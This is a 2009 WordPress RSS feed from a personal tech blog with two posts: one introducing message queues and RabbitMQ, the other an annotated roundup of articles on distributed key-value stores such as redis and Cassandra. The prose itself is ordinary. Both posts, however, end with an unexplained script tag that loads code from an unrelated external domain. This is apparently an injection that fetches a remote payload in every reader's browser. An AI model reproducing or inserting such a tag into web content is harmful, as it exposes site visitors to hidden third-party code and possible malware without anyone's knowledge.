<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>headphono.us &#187; Software Architecture</title>
	<atom:link href="http://headphono.us/category/software-architecture/feed/" rel="self" type="application/rss+xml" />
	<link>http://headphono.us</link>
	<description>Pras Sarkar blogs about web technology, music, social networks, digital identities and other random things.</description>
	<lastBuildDate>Sat, 08 May 2010 17:42:38 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Introduction to Message Queues and RabbitMQ</title>
		<link>http://headphono.us/2009/07/06/introduction-to-message-queues-and-rabbitmq/</link>
		<comments>http://headphono.us/2009/07/06/introduction-to-message-queues-and-rabbitmq/#comments</comments>
		<pubDate>Mon, 06 Jul 2009 20:52:56 +0000</pubDate>
		<dc:creator>Pras Sarkar</dc:creator>
				<category><![CDATA[Software Architecture]]></category>
		<category><![CDATA[Webdevelopment]]></category>
		<category><![CDATA[amqp]]></category>
		<category><![CDATA[message queues]]></category>
		<category><![CDATA[pubsub]]></category>
		<category><![CDATA[rabbitmq]]></category>
		<category><![CDATA[web services]]></category>

		<guid isPermaLink="false">http://headphono.us/?p=84</guid>
		<description><![CDATA[Incase you&#8217;re not familiar with the advantages of message queues in web applications, they allow you to (among other things) offload tasks and processes that may be initiated by users interacting with your application but the results of which need not return back to the user synchronously. E.g. a user submits an e-commerce order, the [...]]]></description>
			<content:encoded><![CDATA[<p>Incase you&#8217;re not familiar with the advantages of message queues in web applications, they allow you to (among other things) offload tasks and processes that may be initiated by users interacting with your application but the results of which need not return back to the user synchronously. E.g. a user submits an e-commerce order, the application captures the order and returns a confirmation to the user. As an offline (to the user) process, the order is processed, fulfilled from existing inventory and marked to be shipped out. Each of these steps would consume a message (from a queue) and after their task is complete, if necessary, add a message to the queue for the next process to consume. The use cases for message queues aren&#8217;t limited to user initiated events, and have general applications in most systems.</p>
<p>Traditionally, message queues have been implemented in enterprise systems as large-scale &#8220;message queue middle tier&#8221; deployments. Most of these are provided by the big boys (read big investment) such as IBM, Tibco, etc. and usually require a dedicated team of engineers to integrate (though this has changed lately). However, there weren&#8217;t really any independent or open source solutions ready for production use until the emergence of <a href="http://www.rabbitmq.com">RabbitMQ</a> &#8211; an Open Source Enterprise Messaging Broker.</p>
<p>RabbitMQ is built on the foundations of Erlang and implements <a href="http://en.wikipedia.org/wiki/Advanced_Message_Queuing_Protocol">AMQP</a> &#8211; an emerging standard of high performance messaging. It is <a href="http://www.rabbitmq.com/faq.html#what-is-otp">based on a proven platform</a>, is <a href="http://www.rabbitmq.com/interoperability.html">interoperable</a> and offers low latency and good throughput. I&#8217;ve been hearing good things lately about it, specifically about the ease-of-setup (packaged EC2 server configs), performance and scalability, <a href="http://www.rabbitmq.com/resources/erlang-exchange-talk-final/diagrams/the-rabbitmq-universe.png">numerous protocol bindings and integration frameworks</a>, etc.</p>
<p><a href="http://www.youtube.com/watch?v=ZQogoEVXBSA">This Google Tech Talk video</a> (embedded below) explains the goals of RabbitMQ, their internal architecture (and decisions behind their design) and their work so far:</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="344" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/ZQogoEVXBSA&amp;hl=en&amp;fs=1&amp;" /><embed type="application/x-shockwave-flash" width="425" height="344" src="http://www.youtube.com/v/ZQogoEVXBSA&amp;hl=en&amp;fs=1&amp;" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>Here are the slides:</p>
<ul>
<li>Part 1: <a href="http://www.rabbitmq.com/resources/google-tech-talk-final/alexis-google-rabbitmq-talk.pdf">http://www.rabbitmq.com/resources/google-tech-talk-final/alexis-google-rabbitmq-talk.pdf</a></li>
<li>Part 2: <a href="http://www.rabbitmq.com/resources/google-tech-talk-final/google.html">http://www.rabbitmq.com/resources/google-tech-talk-final/google.html</a></li>
</ul>
<p>What seems most interesting is that RabbitMQ seems to be the first real step towards open sourcing the messaging middleware, which traditionally has suffered from vendor lock-in. Since it&#8217;s a $1 billion industry, I don&#8217;t quite expect the vendors to take this lying down. So either they will compete by lowering client costs, provide better support, or offer more managed integrations, or open source products will win the critical mass game by getting most small business/startups to adopt rapidly (similar to MySQL). In either case, it should be interesting to watch what RabbitMQ has started.</p>
<p>A natural extension message queues is where many processes consume a message from the queue (i.e. <a href="http://en.wikipedia.org/wiki/Publish/subscribe">Publish/Subscribe pattern</a>). PubSub is great for broadcasting messages to a variety of consuming processes. E.g. In the e-commerce order placement example above, once the credit card processing is complete, the message could be broadcasted to a variety of processes down the pipeline (order fulfillment, inventory update, shipping tracking, etc.). Fortunately, <a href="http://www.lshift.net/">LShift</a> has implemented a <a href="http://www.lshift.net/blog/2009/06/30/pubsub-over-webhooks-with-rabbithub">PubSub layer on top of RabbitMQ</a>.</p>
<p>With the growing use of cloud computing services like Amazon Web Services, web developers are going to have start thinking more enterprisy (if that&#8217;s a word?). If you&#8217;re a web developer, what are your thoughts? If you&#8217;re a web developer who is already thinking in this direction (good for you!), how has your design/architecture process changed from the early days of web development?</p>
<p><strong>July 6, 2009 Update</strong>: Thanks to @<a href="http://twitter.com/andrewgleave">andrewgleave</a> who linked to <a href="http://tr.im/r8yY">this presentation</a> which goes more in-depth about AMQP, PubSub and RabbitMQ.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://headphono.us/2009/07/06/introduction-to-message-queues-and-rabbitmq/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Anti-RDBMS and distributed key-value stores</title>
		<link>http://headphono.us/2009/06/23/anti-rdbms-and-distributed-key-value-stores/</link>
		<comments>http://headphono.us/2009/06/23/anti-rdbms-and-distributed-key-value-stores/#comments</comments>
		<pubDate>Wed, 24 Jun 2009 06:09:53 +0000</pubDate>
		<dc:creator>Pras Sarkar</dc:creator>
				<category><![CDATA[Software Architecture]]></category>
		<category><![CDATA[anti-rdbms]]></category>
		<category><![CDATA[dht]]></category>
		<category><![CDATA[distributed key-value store]]></category>

		<guid isPermaLink="false">http://headphono.us/?p=76</guid>
		<description><![CDATA[I&#8217;ve been comparing and playing with a bunch of distributed key-value stores lately. Here&#8217;s an annotated list of interesting articles:
Richard Jones (from Last.fm) has compiled an useful comparison of the various distributed key-values stores out there including MemcacheDB, Cassandra and CouchDB. He seems most interested in Scalaris and Project Voldemort.

redis seems to be a very interesting [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been comparing and playing with a bunch of distributed key-value stores lately. Here&#8217;s an annotated list of interesting articles:</p>
<p><a href="http://www.metabrew.com/">Richard Jones</a> (from Last.fm) has <a href="http://www.metabrew.com/article/anti-rdbms-a-list-of-distributed-key-value-stores/">compiled an useful comparison of the various distributed key-values stores out there </a>including <a href="http://memcachedb.org/">MemcacheDB</a>, <a href="http://code.google.com/p/the-cassandra-project/">Cassandra</a> and <a href="http://couchdb.apache.org/">CouchDB</a>. He seems most interested in <a href="http://code.google.com/p/scalaris/">Scalaris</a> and <a href="http://project-voldemort.com/">Project Voldemort</a>.<br />
<a href="http://code.google.com/p/redis/"></a></p>
<p><a href="http://code.google.com/p/redis/">redis</a> seems to be a very interesting key-value store. It behaves like memcached but supports strings, lists and sets as values. It also includes atomic operations like increments, push/pop, etc. They even wrote a <a href="http://code.google.com/p/redis/wiki/TwitterAlikeExample">Twitter clone using redis + PHP</a>.<br />
<a href="http://bret.appspot.com/"></a></p>
<p><a href="http://bret.appspot.com/">Bret Taylor</a> from Friendfeed <a href="http://bret.appspot.com/entry/how-friendfeed-uses-mysql">goes in-depth about how they built a &#8217;schema-less&#8217; MYSQL schema</a> which attempts to solve the problem of extensibility and maintainability in most large RDBMS solutions. It doesn&#8217;t hurt improving performance as a result.</p>
<blockquote><p>As our database has grown, we have tried to iteratively deal with the scaling issues that come with rapid growth. We did the typical things, like using read slaves and memcache to increase read throughput and sharding our database to improve write throughput. However, as we grew, scaling our existing features to accomodate more traffic turned out to be much less of an issue than adding <em>new</em> features.</p></blockquote>
<p><a href="http://randomfoo.net/">Leonard Lin</a> also has <a href="http://randomfoo.net/2009/04/20/some-notes-on-distributed-key-stores">some notes on distributed key-value stores</a>. He compares some current tools out there, but finding none viable, creates his own. He has some words of wisdom:</p>
<blockquote>
<ul>
<li>The distributed stores out there is currently pretty half-baked at best right now. Your comfort-level running in prod may vary, but for most sane people, I doubt you’d want to.</li>
<li>If you’re dealing w/ a reasonable number of items (&lt;50M), Tokyo Tyrant is crazy fast. If you&#8217;re looking for a known, MySQL is probably an acceptable solution.</li>
<li>Don’t believe the hype. There’s a lot of talk, but I didn’t find any public project that came close to the (implied?) promise of tossing nodes in and having it figure things out.</li>
<li>Based on the maturity of projects out there, you could write your own in less than a day. It’ll perform as well and at least when it breaks, you’ll be more fond of it. Alternatively, you could go on the conference circuit and talk about how awesome your half-baked distributed keystore is.</li>
</ul>
</blockquote>
<p>The popular consensus seems to be that even though numerous solutions exist out there, none seem to be widely adopted and production-proven yet.</p>
<p><strong>July 1st, 2009 Update</strong>: Think Vitamin has a <a href="http://thinkvitamin.com/dev/should-you-go-beyond-relational-databases/">good article on reasons for switching to a non-relational database</a> and also compares the tradeoffs between the different data storage options.</p>
<p><strong>July 21st, 2009 Update</strong>: Evan Weaver (of Twitter) has a good intro article to <a href="http://blog.evanweaver.com/articles/2009/07/06/up-and-running-with-cassandra/">getting up and running with Cassandra</a>.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://headphono.us/2009/06/23/anti-rdbms-and-distributed-key-value-stores/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic Page Served (once) in 0.641 seconds -->
